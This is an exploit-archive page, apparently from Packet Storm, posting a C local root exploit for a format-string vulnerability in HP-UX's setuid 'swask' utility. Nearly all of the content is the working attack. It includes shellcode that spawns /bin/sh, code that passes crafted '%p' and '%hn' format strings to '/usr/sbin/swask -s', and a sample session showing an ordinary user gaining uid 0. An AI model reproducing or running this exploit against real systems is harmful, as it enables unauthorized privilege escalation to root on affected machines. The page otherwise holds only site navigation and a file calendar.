what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-HPUX-swask.c

prdelka-vs-HPUX-swask.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

HP-UX swask format string local root exploit. HP-UX 'swask' contains an exploitable format string vulnerability. The 'swask' utility is installed setuid root by default. Specifically the vulnerability is in the handling of the "-s" optional argument which is passed to a format function as verbatim.

tags | exploit, local, root
systems | hpux
SHA-256 | 3023aa994493e76bd2f6ffff2ce173e8623eb8396ee93dd2faebae1841d15ffe

prdelka-vs-HPUX-swask.c

Change Mirror Download
/* HP-UX swask format string local root exploit
* ============================================
* HP-UX 'swask' contains an exploitable format string
* vulnerability. The 'swask' utility is installed setuid
* root by default. Specifically the vulnerability is in
* the handling of the "-s" optional arguement which is
* passed to a format function as verbatim.
*
* Example.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ./prdelka-vs-HPUX-swask
* [ HP-UX 11i 'swask' local root exploit
* ======= 01/20/06 10:19:49 EST BEGIN swask SESSION (non-interactive)
* <SNIP>
*
* ======= 01/20/06 10:19:50 EST END swask SESSION (non-interactive)
*
* $ id
* uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
* $
*
* - prdelka
*/

char shellcode[]=
"\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\xb4\x16\x70\x16""/bin/sh";

int main(){
char *d, *c, *b,*a,*envp;
int i,pid;
printf("[ HP-UX 11i 'swask' local root exploit\n");
switch(pid = fork()){
case -1:
perror("fork");
case 0:
a=(char*)malloc(2048);
memset(a,0,2048);
sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38);
for(i=0;i<103;i++) strcat(a,"%p");
envp=0;
execle("/usr/sbin/swask","swask","-s",a,0,envp);
break;
default:
sleep(1);
b=(char*)malloc(2048);
memset(b,0,2048);
for(i=0;i<102;i++) strcat(b,"%p");
strcat(b,"%31799u%hn");
a=(char*)malloc(2048);
memset(a,0,2048);
d=a;
for(i=0;i<39;i++)strcat(a,"A");
d+=39;
for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
envp=0;
execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
}
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close